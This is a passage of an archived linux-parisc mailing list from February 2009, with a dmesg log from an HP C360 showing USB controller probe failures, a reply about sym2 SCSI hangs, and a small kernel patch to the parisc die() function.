>>> are loaded :
>>> lsmod
>>> [...]
>>> ohci_hcd             38568  0
>>> ehci_hcd             53328  0
>>> [...]
>>>
>>> This problem did not occur under Debian/etch.
>>>
>>> Now, how to mount USB storages ?
>>> Is there a workaround ?
>>
>> What exactly are you missing? The /dev/XXX files?
>> Which ones where there in etch which are not there yet?
> 
> Unfortunately, I don't have an etch system running any more.
> I don't recall this exactly, it was probably /dev/usb[0-4].
> 
> Here is the dmesg file :
> 
> [    0.000000] Initializing cgroup subsys cpu
> [    0.000000] Linux version 2.6.26-1-parisc (Debian 2.6.26-13) (waldi@debian.org) (gcc version 4.1.3 20080704 (prerelease) (Debian 4.1.2-24)) #1 Sat Jan 10 17:34:01 UTC 2009
> [    0.000000] FP[0] enabled: Rev 1 Model 16
> [    0.000000] The 32-bit Kernel has started...
> [    0.000000] console [ttyB0] enabled
> [    0.000000] Initialized PDC Console for debugging.
> [    0.000000] Determining PDC firmware type: System Map.
> [    0.000000] model 00005c60 00000481 00000000 00000002 778fcc50 100000f0 00000008 000000b2 000000b2
> [    0.000000] vers  00000100
> [    0.000000] CPUID vers 14 rev 0 (0x000001c0)
> [    0.000000] capabilities 0x2
> [    0.000000] model 9000/785/C360
> [    0.000000] Total Memory: 2304 MB
> [    0.000000] initrd: 4f917000-4ffee6f9
> [    0.000000] initrd: reserving 3f917000-3ffee6f9 (mem_max 90000000)
> [    0.000000] On node 0 totalpages: 589824
> [    0.000000]   Normal zone: 4608 pages used for memmap
> [    0.000000]   Normal zone: 0 pages reserved
> [    0.000000]   Normal zone: 585216 pages, LIFO batch:31
> [    0.000000]   Movable zone: 0 pages used for memmap
> [    0.000000] LED display at f0190001 registered
> [    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 585216
> [    0.000000] Kernel command line: root=/dev/sda8 HOME=/ console=tty0 sti=8/0/1/0 sti_font=VGA8x16 TERM=linux palo_kernel=2/vmlinux
> [    0.000000] PID hash table entries: 4096 (order: 12, 16384 bytes)
> [17179569.184000] Console: colour dummy device 160x64
> [17179569.236000] console handover: boot [ttyB0] -> real [tty0]
> [17179569.304000] Dentry cache hash table entries: 524288 (order: 9, 2097152 bytes)
> [17179569.340000] Inode-cache hash table entries: 262144 (order: 8, 1048576 bytes)
> [17179569.776000] Memory: 2322432k/2359296k available (1961k kernel code, 36624k reserved, 882k data, 224k init)
> [17179569.776000] virtual kernel memory layout:
> [17179569.776000]     vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
> [17179569.776000]     memory  : 0x10000000 - 0xa0000000   (2304 MB)
> [17179569.776000]       .init : 0x10410000 - 0x10448000   ( 224 kB)
> [17179569.776000]       .data : 0x102ea6c4 - 0x103c7000   ( 882 kB)
> [17179569.776000]       .text : 0x10100000 - 0x102ea6c4   (1961 kB)
> [17179569.780000] Calibrating delay loop... 731.13 BogoMIPS (lpj=1462272)
> [17179569.872000] Security Framework initialized
> [17179569.872000] SELinux:  Disabled at boot.
> [17179569.872000] Capability LSM initialized
> [17179569.872000] Mount-cache hash table entries: 512
> [17179569.872000] Initializing cgroup subsys ns
> [17179569.872000] Initializing cgroup subsys cpuacct
> [17179569.872000] Initializing cgroup subsys devices
> [17179569.872000] net_namespace: 648 bytes
> [17179569.876000] NET: Registered protocol family 16
> [17179569.876000] EISA bus registered
> [17179569.876000] Searching for devices...
> [17179590.676000] Found devices:
> [17179590.676000] 1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b }
> [17179590.676000] 2. Dino PCI Bridge at 0xf2000000 [8/0] { 13, 0x3, 0x680, 0x0000a }, additional addresses: 0xf2800000 0xf6000000 
> [17179590.676000] 3. Raven U/L2 Dino RS-232 at 0xf2003000 [8/0/63] { 10, 0x0, 0x006, 0x0008c }
> [17179590.676000] 4. Raven+ w SE FWSCSI Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x056, 0x00081 }, additional addresses: 0xffd0c000 0xffc00000 
> [17179590.676000] 5. Raven+ w SE FWSCSI Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x056, 0x0008c }
> [17179590.676000] 6. Raven+ w SE FWSCSI Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x056, 0x00082 }
> [17179590.676000] 7. Raven+ w SE FWSCSI Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x056, 0x00074 }, additional addresses: 0xffd01000 0xffd03000 
> [17179590.676000] 8. Raven+ w SE FWSCSI Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x056, 0x0007b }
> [17179590.676000] 9. Raven+ w SE FWSCSI Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x056, 0x00084 }
> [17179590.676000] 10. Raven+ w SE FWSCSI Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x056, 0x00084 }
> [17179590.676000] 11. U2-IOA BC GSC+ Port at 0xf203f000 [8/63] { 7, 0x1, 0x501, 0x0000c }
> [17179590.676000] 12. Raven U/L2 Dino PS/2 Port at 0xf2001000 [8/1] { 10, 0x0, 0x006, 0x00096 }
> [17179590.676000] 13. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0xf, 0x580, 0x0000b }
> [17179590.676000] 14. U2-IOA BC GSC+ Port at 0xf103f000 [10/63] { 7, 0x1, 0x501, 0x0000c }
> [17179590.676000] 15. Cujo PCI Bridge at 0xf1000000 [10/0] { 13, 0x1, 0x682, 0x0000a }, additional addresses: 0xf1800000 
> [17179590.676000] 16. Dino RS-232 at 0xf1003000 [10/3] { 10, 0x0, 0x007, 0x0008c }
> [17179590.676000] 17. Raven W 360 (9000/780) at 0xfffa0000 [32] { 0, 0x0, 0x5c6, 0x00004 }
> [17179590.676000] 18. Memory at 0xfffb1000 [49] { 1, 0x0, 0x097, 0x00009 }
> [17179590.676000] Enabling regular chassis codes support v0.05
> [17179591.312000] CPU(s): 1 x PA8500 (PCX-W) at 367.111100 MHz
> [17179591.316000] Whole cache flush 256059 cycles, flushing 3440640 bytes 1382342 cycles
> [17179591.316000] Setting cache flush threshold to 1a0 (1 CPUs online)
> [17179591.316000] Found U2 at 0xfff88000
> [17179591.340000] Found U2 at 0xfff8a000
> [17179591.364000] Lasi version 0 at 0xffd00000 found.
> [17179591.380000] Found GeckoBoa at 0xf203f000
> [17179591.380000] drivers/parisc/hppb.c: failed to claim HP-PB bus space (00000000, ffffffff)
> [17179591.380000] Found GeckoBoa at 0xf103f000
> [17179591.380000] drivers/parisc/hppb.c: failed to claim HP-PB bus space (00000000, ffffffff)
> [17179591.380000] Dino version 3.1 found at 0xf2000000
> [17179591.384000] Cujo version 2.0 found at 0xf1000000
> [17179591.384000] Enabling Cujo 2.0 bug workaround
> [17179591.388000] PCI: Unable to handle 64-bit address space for bridge 0000:01:04.0
> [17179591.388000] PCI: Cannot allocate resource (bogus alignment) 8 [100000:1fffff] (flags 200) of 0000:01:04.0
> [17179591.392000] PCI: bogus alignment of resource 8 [100000:1fffff] (flags 200) of 0000:01:04.0

^^ What's that?

> [17179591.392000] PCI: Bridge: 0000:01:04.0
> [17179591.392000]   IO window: disabled.
> [17179591.392000]   MEM window: 0x00100000-0x001fffff
> [17179591.392000]   PREFETCH window: disabled.
> [17179591.392000] powersw: Soft power switch at 0xf0140000 enabled.
> [17179591.408000] NET: Registered protocol family 2
> [17179591.444000] IP route cache hash table entries: 131072 (order: 7, 524288 bytes)
> [17179591.448000] TCP established hash table entries: 524288 (order: 10, 4194304 bytes)
> [17179591.492000] TCP bind hash table entries: 65536 (order: 6, 262144 bytes)
> [17179591.496000] TCP: Hash tables configured (established 524288 bind 65536)
> [17179591.496000] TCP reno registered
> [17179591.508000] NET: Registered protocol family 1
> [17179591.508000] checking if image is initramfs... it is
> [17179596.108000] Freeing initrd memory: 7005k freed
> [17179596.112000] Enabling PDC chassis warnings support v0.05
> [17179596.112000] unwind_init: start = 0x1035de10, end = 0x103850f0, entries = 10030
> [17179596.116000] audit: initializing netlink socket (disabled)
> [17179596.116000] type=2000 audit(1234628527.932:1): initialized
> [17179596.120000] VFS: Disk quotas dquot_6.5.1
> [17179596.120000] Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
> [17179596.120000] msgmni has been set to 4550
> [17179596.124000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 254)
> [17179596.124000] io scheduler noop registered
> [17179596.124000] io scheduler anticipatory registered
> [17179596.124000] io scheduler deadline registered
> [17179596.124000] io scheduler cfq registered (default)
> [17179596.128000] PDC Stable Storage facility v0.30
> [17179597.600000] STI GSC/PCI core graphics driver Version 0.9a
> [17179597.600000] sti 0000:00:01.0: enabling SERR and PARITY (0002 -> 0142)
> [17179597.600000] STI PCI graphic ROM found at f2f80000 (64 kB), fb at f6000000 (32 MB)
> [17179597.688000]     id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
> [17179597.688000]     graphics card name: PCI_GRAFFITIX1280
> [17179597.688000] sticon: Initializing STI text console.
> [17179597.692000] Console: switching to colour STI console 160x64
> [17179598.540000] Console: switching to colour frame buffer device 160x64
> [17179598.656000] fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mmio: 0xf6100000
> [17179598.692000] Generic RTC Driver v1.07
> [17179598.712000] Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
> [17179598.736000] 8:16:4: ttyS0 at MMIO 0xffd05800 (irq = 16) is a 16550A
> [17179598.760000] 8:0:63: ttyS1 at MMIO 0xf2003800 (irq = 21) is a 16550A
> [17179598.788000] brd: module loaded
> [17179598.808000] serio: GSC PS/2 keyboard port at 0x00020000 irq 20 @ 8:16:7
> [17179598.832000] serio: GSC PS/2 mouse port at 0x00022100 irq 20 @ 8:16:8
> [17179598.848000] mice: PS/2 mouse device common for all mice
> [17179598.876000] TCP cubic registered
> [17179598.892000] NET: Registered protocol family 17
> [17179598.952000] input: AT Raw Set 2 keyboard as /class/input/input0
> [17179598.968000] registered taskstats version 1
> [17179598.988000] Freeing unused kernel memory: 224k freed
> [17179600.620000] SCSI subsystem initialized
> [17179600.700000] 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
> [17179600.720000] scsi0: 53c710 rev 2 
> [17179601.736000] scsi0 : LASI SCSI 53c700
> [17179602.400000] scsi 0:0:2:0: CD-ROM            TOSHIBA  CD-ROM XM-5401TA 1036 PQ: 0 ANSI: 2
> [17179602.424000]  target0:0:2: Beginning Domain Validation
> [17179602.444000]  target0:0:2: asynchronous
> [17179602.488000]  target0:0:2: FAST-5 SCSI 4.2 MB/s ST (236 ns, offset 8)
> [17179602.524000]  target0:0:2: Domain Validation skipping write tests
> [17179602.544000]  target0:0:2: Ending Domain Validation
> [17179606.428000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
> [17179606.456000] tulip0: no phy info, aborting mtable build
> [17179606.476000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
> [17179606.504000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xf2801000, 00:10:83:05:83:a5, IRQ 24.
> [17179606.584000] sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 23
> [17179606.984000] sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
> [17179607.004000] sym0: SCSI BUS has been reset.
> [17179607.032000] scsi1 : sym-2.2.3
> [17179607.292000] usbcore: registered new interface driver usbfs
> [17179607.312000] usbcore: registered new interface driver hub
> [17179607.488000] Driver 'sr' needs updating - please use bus_type methods
> [17179607.688000] sr0: scsi-1 drive
> [17179607.708000] Uniform CD-ROM driver Revision: 3.20
> [17179607.728000] sr 0:0:2:0: Attached scsi CD-ROM sr0
> [17179607.756000] usbcore: registered new device driver usb

from here ->
> [17179607.788000] ohci1394 0000:02:0b.0: enabling device (0150 -> 0152)
> [17179607.812000] ohci1394: MMIO resource (0x106000 - 0x106800) unavailable
> [17179607.828000] ohci1394: probe of 0000:02:0b.0 failed with error -12
> [17179607.912000] ohci_hcd: 2006 August 04 USB 1.1 'Open' Host Controller (OHCI) Driver
> [17179607.912000] ohci_hcd: block sizes: ed 64 td 64
> [17179607.912000] ohci_hcd 0000:02:08.0: enabling device (0150 -> 0152)
> [17179607.932000] ohci_hcd 0000:02:08.0: controller already in use
> [17179607.932000] ohci_hcd 0000:02:08.0: init 0000:02:08.0 fail, -16
> [17179607.952000] ohci_hcd: probe of 0000:02:08.0 failed with error -16
> [17179607.972000] ohci_hcd 0000:02:08.1: enabling device (0150 -> 0152)
> [17179607.992000] ohci_hcd 0000:02:08.1: controller already in use
> [17179607.992000] ohci_hcd 0000:02:08.1: init 0000:02:08.1 fail, -16
> [17179608.012000] ohci_hcd: probe of 0000:02:08.1 failed with error -16
> [17179608.056000] ehci_hcd: block sizes: qh 128 qtd 96 itd 160 sitd 96
> [17179608.056000] ehci_hcd 0000:02:08.2: enabling device (0150 -> 0152)
> [17179608.076000] ehci_hcd 0000:02:08.2: controller already in use
> [17179608.076000] ehci_hcd 0000:02:08.2: init 0000:02:08.2 fail, -16
> [17179608.096000] ehci_hcd: probe of 0000:02:08.2 failed with error -16
to here: This looks strange.

> [17179608.620000] sr 0:0:2:0: Attached scsi generic sg0 type 5
> [17179610.020000] scsi 1:0:0:0: Direct-Access     FUJITSU  MAT3073NC        5207 PQ: 0 ANSI: 3
> [17179610.040000]  target1:0:0: tagged command queuing enabled, command queue depth 16.
> [17179610.060000]  target1:0:0: Beginning Domain Validation
> [17179610.084000]  target1:0:0: asynchronous
> [17179610.116000]  target1:0:0: wide asynchronous
> [17179610.136000]  target1:0:0: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 16)
> [17179610.160000]  target1:0:0: Domain Validation skipping write tests
> [17179610.180000]  target1:0:0: Ending Domain Validation
> [17179610.200000] scsi 1:0:1:0: Direct-Access     FUJITSU  MAP3735NC        5207 PQ: 0 ANSI: 3
> [17179610.220000]  target1:0:1: tagged command queuing enabled, command queue depth 16.
> [17179610.240000]  target1:0:1: Beginning Domain Validation
> [17179610.264000]  target1:0:1: asynchronous
> [17179610.296000]  target1:0:1: wide asynchronous
> [17179610.316000]  target1:0:1: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 16)
> [17179610.336000]  target1:0:1: Domain Validation skipping write tests
> [17179610.356000]  target1:0:1: Ending Domain Validation
> [17179614.200000] scsi 1:0:0:0: Attached scsi generic sg1 type 0
> [17179614.220000] scsi 1:0:1:0: Attached scsi generic sg2 type 0
> [17179614.660000] Driver 'sd' needs updating - please use bus_type methods
> [17179614.736000] sd 1:0:0:0: [sda] 143374744 512-byte hardware sectors (73408 MB)
> [17179614.760000] sd 1:0:0:0: [sda] Write Protect is off
> [17179614.776000] sd 1:0:0:0: [sda] Mode Sense: d1 00 00 08
> [17179614.780000] sd 1:0:0:0: [sda] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
> [17179614.800000] sd 1:0:0:0: [sda] 143374744 512-byte hardware sectors (73408 MB)
> [17179614.832000] sd 1:0:0:0: [sda] Write Protect is off
> [17179614.852000] sd 1:0:0:0: [sda] Mode Sense: d1 00 00 08
> [17179614.852000] sd 1:0:0:0: [sda] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
> [17179614.872000]  sda: sda1 sda2 sda3 < sda5 sda6 sda7 sda8 >
> [17179614.920000] sd 1:0:0:0: [sda] Attached SCSI disk
> [17179614.988000] sd 1:0:1:0: [sdb] 143571316 512-byte hardware sectors (73509 MB)
> [17179615.008000] sd 1:0:1:0: [sdb] Write Protect is off
> [17179615.028000] sd 1:0:1:0: [sdb] Mode Sense: b9 00 00 08
> [17179615.032000] sd 1:0:1:0: [sdb] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
> [17179615.052000] sd 1:0:1:0: [sdb] 143571316 512-byte hardware sectors (73509 MB)
> [17179615.080000] sd 1:0:1:0: [sdb] Write Protect is off
> [17179615.100000] sd 1:0:1:0: [sdb] Mode Sense: b9 00 00 08
> [17179615.100000] sd 1:0:1:0: [sdb] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
> [17179615.120000]  sdb: sdb1 < sdb5 >
> [17179615.148000] sd 1:0:1:0: [sdb] Attached SCSI disk
> [17179616.948000] kjournald starting.  Commit interval 5 seconds
> [17179616.964000] EXT3-fs: mounted filesystem with ordered data mode.
> [17179623.812000] udevd version 125 started
> [17179640.672000] input: PS/2 Logitech Mouse as /class/input/input1
> [17179644.828000] Adding 2931820k swap on /dev/sda7.  Priority:-1 extents:1 across:2931820k
> [17179645.684000] EXT3 FS on sda8, internal journal
> [17179648.400000] LASI 82596 driver - Revision: 1.30
> [17179648.580000] loop: module loaded
> [17179652.020000] kjournald starting.  Commit interval 5 seconds
> [17179652.052000] EXT3 FS on sda6, internal journal
> [17179652.072000] EXT3-fs: mounted filesystem with ordered data mode.
> [17179652.116000] kjournald starting.  Commit interval 5 seconds
> [17179652.152000] EXT3 FS on sdb5, internal journal
> [17179652.172000] EXT3-fs: mounted filesystem with ordered data mode.
> [17179652.212000] kjournald starting.  Commit interval 5 seconds
> [17179652.236000] EXT3 FS on sda5, internal journal
> [17179652.260000] EXT3-fs: mounted filesystem with ordered data mode.
> [17179659.496000] NET: Registered protocol family 10
> [17179659.520000] lo: Disabled Privacy Extensions
> [17179659.568000] 0000:00:14.0: tulip_stop_rxtx() failed (CSR5 0xf0660000 CSR6 0xb24e2002)
> [17179659.568000] eth0: Setting half-duplex based on MII#1 link partner capability of 0021.
> [17179670.044000] eth0: no IPv6 routers present
> [17179671.764000] lp: driver loaded but no devices found
> [17179671.764000] RPC: Registered udp transport module.
> [17179671.768000] RPC: Registered tcp transport module.
> 



From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Sun, 15 Feb 2009 16:33:03 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <20090215153303.GB31770@lug-owl.de>
References: <20090207142906.GA8553@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="s/l3CgOIzMHHjg/5"
X-Trace: ger.gmane.org 1234721303 18200 80.91.229.12 (15 Feb 2009 18:08:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Feb 2009 18:08:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 15 17:08:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LYjXJ-0001Z2-69
	for glpp-linux-parisc@gmane.org; Sun, 15 Feb 2009 17:08:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752176AbZBOQGm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Feb 2009 11:06:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752400AbZBOQGm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 15 Feb 2009 11:06:42 -0500
Original-Received: from lug-owl.de ([195.71.106.12]:50935 "EHLO lug-owl.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752176AbZBOQGl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Feb 2009 11:06:41 -0500
X-Greylist: delayed 2017 seconds by postgrey-1.27 at vger.kernel.org; Sun, 15 Feb 2009 11:06:41 EST
Original-Received: by lug-owl.de (Postfix, from userid 1001)
	id 32DDAF0096; Sun, 15 Feb 2009 16:33:03 +0100 (CET)
Mail-Followup-To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	linux-parisc@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <20090207142906.GA8553@alpha.franken.de>
X-Operating-System: Linux mail 2.6.18-5-686 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
X-Echelon-Enable: howto poison arsenous mail psychological biological nuclear warfare test the bombastical terror of flooding the spy listeners explosion sex drugs and rock'n'roll
X-TKUeV: howto poison arsenous mail psychological biological nuclear warfare test the bombastical terror of flooding the spy listeners explosion sex drugs and rock'n'roll
X-message-flag: Please send plain text messages only. Do not send HTML emails. Thank you. 
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1289


--s/l3CgOIzMHHjg/5
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, 2009-02-07 15:29:06 +0100, Thomas Bogendoerfer <tsbogend@alpha.fran=
ken.de> wrote:
> Linux version 2.6.29-rc3-00000-g33bfad5-dirty (tsbogend@login) (gcc
[...]
> sym53c8xx 0000:18:00.0: enabling device (0146 -> 0147)
> sym0: <895> rev 0x2 at pci 0000:18:00.0 irq 67
> sym0: No NVRAM, ID 7, Fast-40, LVD, parity checking
> sym0: SCSI BUS has been reset.
> scsi0 : sym-2.2.3
> scsi 0:0:0:0: ABORT operation started
> scsi 0:0:0:0: ABORT operation timed-out.
> scsi 0:0:0:0: DEVICE RESET operation started
>=20
> After that it hangs...
> The smaller partion hangs even earlier:

Just to name it (even though it might be a general interrupt problem),
IIRC there just was some email on LKML that some other guy had about the
same sym2 hangs in more conventional ix86 hardware...

So for a test, you might want to replace sym2 with one that's a bit
older...

MfG, JBG

--=20
      Jan-Benedict Glaw      jbglaw@lug-owl.de              +49-172-7608481
Signature of:              What we do for ourselves dies with us. What we d=
o for
the second  :         others and the world remains and is immortal. (Albert=
 Pine)

--s/l3CgOIzMHHjg/5
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFJmDWuHb1edYOZ4bsRAhqUAJ97KI8lHW6BcfyW/TpvEhWZDrimYACeOEDP
5FZ7isG4AihsVcVhMRubs8A=
=hes9
-----END PGP SIGNATURE-----

--s/l3CgOIzMHHjg/5--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: oops_enter()/oops_exit() in die().
Date: Sun, 15 Feb 2009 23:03:11 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <4998911F.7080705@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234735418 27684 80.91.229.12 (15 Feb 2009 22:03:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Feb 2009 22:03:38 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 15 23:04:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LYp6J-0003Y9-O8
	for glpp-linux-parisc@gmane.org; Sun, 15 Feb 2009 23:04:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752503AbZBOWDN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Feb 2009 17:03:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752571AbZBOWDN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 15 Feb 2009 17:03:13 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:33089 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752503AbZBOWDN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Feb 2009 17:03:13 -0500
Original-Received: (qmail invoked by alias); 15 Feb 2009 22:03:10 -0000
Original-Received: from mnhm-590f60c7.pool.einsundeins.de (EHLO halden.box) [89.15.96.199]
  by mail.gmx.net (mp052) with SMTP; 15 Feb 2009 23:03:10 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18a3h5WFcoaluMf38dnxljG1Z3GmIjCmqMGJT9aq4
	uBx71xS5HoQ4HY
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.55
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1290
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1290>

As pointed out by Russell in http://marc.info/?l=linux-arch&m=118208089204630&w=2

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 7bf122a..c32f5d6 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -247,6 +247,8 @@ void die_if_kernel(char *str, struct pt_regs *regs, long err)
 
 	oops_in_progress = 1;
 
+	oops_enter();
+
 	/* Amuse the user in a SPARC fashion */
 	if (err) printk(
 KERN_CRIT "      _______________________________ \n"
@@ -293,6 +295,7 @@ KERN_CRIT "                     ||     ||\n");
 		panic("Fatal exception");
 	}
 
+	oops_exit();
 	do_exit(SIGSEGV);
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fixup cpu_check_affinity for const cpumask *dest
Date: Mon, 16 Feb 2009 18:00:25 +1030
Lines: 16
Approved: news@gmane.org
Message-ID: <200902161800.26263.rusty@rustcorp.com.au>
References: <20090214082219.GA17304@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234769453 32168 80.91.229.12 (16 Feb 2009 07:30:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2009 07:30:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, grundler@parisc-linux.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 16 08:32:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LYxxX-00029W-JE
	for glpp-linux-parisc@gmane.org; Mon, 16 Feb 2009 08:32:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752981AbZBPHaa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2009 02:30:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753025AbZBPHaa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 16 Feb 2009 02:30:30 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:36602 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752981AbZBPHa3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2009 02:30:29 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 0D1B1DDD01;
	Mon, 16 Feb 2009 18:30:29 +1100 (EST)
User-Agent: KMail/1.11.0 (Linux/2.6.27-11-generic; KDE/4.2.0; i686; ; )
In-Reply-To: <20090214082219.GA17304@bombadil.infradead.org>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1291
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1291>

On Saturday 14 February 2009 18:52:19 Kyle McMartin wrote:
> Noticed a new build warning... poking at it a bit, and lo' and behold
